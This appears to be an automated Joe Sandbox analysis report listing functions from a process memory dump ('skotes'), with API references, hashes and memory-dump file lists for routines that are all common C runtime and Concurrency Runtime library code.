Instruction ID: e66eb4e592831d8760f81acf2a2ad10eb9331a03ab20c3e8557b7097a5b7de70
Opcode Fuzzy Hash: 0ff72a05860f06cdd5d1d55007b0fd4e6e70707770b154af09b2b5c4661a88b9
Instruction Fuzzy Hash: BAC1AFB1D083099FDB20DFA4C945BAEBBF8EF45310F00462DE916976D1EB35A904CBA1

Function 009144DE Relevance: 9.2, APIs: 6, Instructions: 196timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00914538
ListArray.LIBCONCRT ref: 0091456C
Hash.LIBCMT ref: 009145D5
Hash.LIBCMT ref: 009145E5

Part of subcall function 00919C41: std::bad_exception::bad_exception.LIBCMT ref: 00919C63

Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 0091474B
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 009147A4

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayHashList$AsyncConcurrency::details::Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLibraryLoadRegisterTimerstd::bad_exception::bad_exception
String ID:
API String ID: 3010677857-0
Opcode ID: be99d3f65f54fb30b551a2f3f68e15658e2d85f644e11fdad0960ddf24c71e1c
Instruction ID: 14b33629d7ff47c6ac0a7d0c86a83404ec111eace5a5f23df5f2a6e4ee881c4e
Opcode Fuzzy Hash: be99d3f65f54fb30b551a2f3f68e15658e2d85f644e11fdad0960ddf24c71e1c
Instruction Fuzzy Hash: 448190B0B11B56BAD718DF74C841BD9FAA8BF89704F10021AF568D7281CBB4A664CBD1

Function 0090ECE6 Relevance: 9.1, APIs: 6, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0090ECED
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 0090ED17

Part of subcall function 0090F3DD: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 0090F3FA

__alloca_probe_16.LIBCMT ref: 0090ED53
Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 0090ED94
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0090EDC6
__freea.LIBCMT ref: 0090EDEC

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Lock::_Scoped_lock$Acquire_lockConcurrency::critical_section::_Concurrency::details::EventH_prolog3_Node::ReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter__alloca_probe_16__freea
String ID:
API String ID: 1319684358-0
Opcode ID: d77997da0a1cb68455fab09e3749cf3bb6c984114388402fa44aad10cee501dd
Instruction ID: 782bf1b18fccd67aa62b4764f92b454df2bce59dd2fc8888a0d7aada0e20f703
Opcode Fuzzy Hash: d77997da0a1cb68455fab09e3749cf3bb6c984114388402fa44aad10cee501dd
Instruction Fuzzy Hash: 27319E71A002158FCB25DFA8C9416ADB7F9EF49310F24446EE855E73D1DB349E42CBA4

Function 0090EE5F Relevance: 9.1, APIs: 6, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 0090EEBC
Concurrency::details::WaitBlock::WaitBlock.LIBCMT ref: 0090EEC8
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 0090EEE1
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0090EF0F
Concurrency::Context::Block.LIBCONCRT ref: 0090EF31

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: Wait$BlockConcurrency::details::_Lock::_Scoped_lock$Block::Concurrency::Concurrency::details::Context::ReaderReentrantScoped_lock::_Scoped_lock::~_SpinWriter
String ID:
API String ID: 1182035702-0
Opcode ID: 55bbb300377a9c5e46da9763ed2f8b7aabd856bdd24f658c7d956dfc516e8382
Instruction ID: 0d2d8e6dc037e3c10b1212c33cab20f631d9f8950b0d945ca3e12d2bb2b60c1b
Opcode Fuzzy Hash: 55bbb300377a9c5e46da9763ed2f8b7aabd856bdd24f658c7d956dfc516e8382
Instruction Fuzzy Hash: F7213D70D1420A9EDF39DFA4C8557EEB7F4BF14320F200D2AE261A61D1E7B15A84CB51

Function 00921B29 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 00921B57
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00921B66
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00921C2A

Strings

switchState, xrefs: 00921B5E
pContext, xrefs: 00921C22

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument$Concurrency::details::FreeIdleProcessorResetRoot::Virtual
String ID: pContext$switchState
API String ID: 2656283622-2660820399
Opcode ID: 1d34360603d3c87ce88de1ae25431b603d71938921c1c798e1b9e4957093f202
Instruction ID: 631b0ce9e84642fb4f83f1426d28c1e97235728d17028721ff6360a67ad920a9
Opcode Fuzzy Hash: 1d34360603d3c87ce88de1ae25431b603d71938921c1c798e1b9e4957093f202
Instruction Fuzzy Hash: 1631C839A00224AFCF14EF64E891EADB379FF94314F204565E9119728AEB70ED15CB90

Function 00924E1A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

FindSITargetTypeInstance.LIBVCRUNTIME ref: 00924E6D
FindMITargetTypeInstance.LIBVCRUNTIME ref: 00924E86
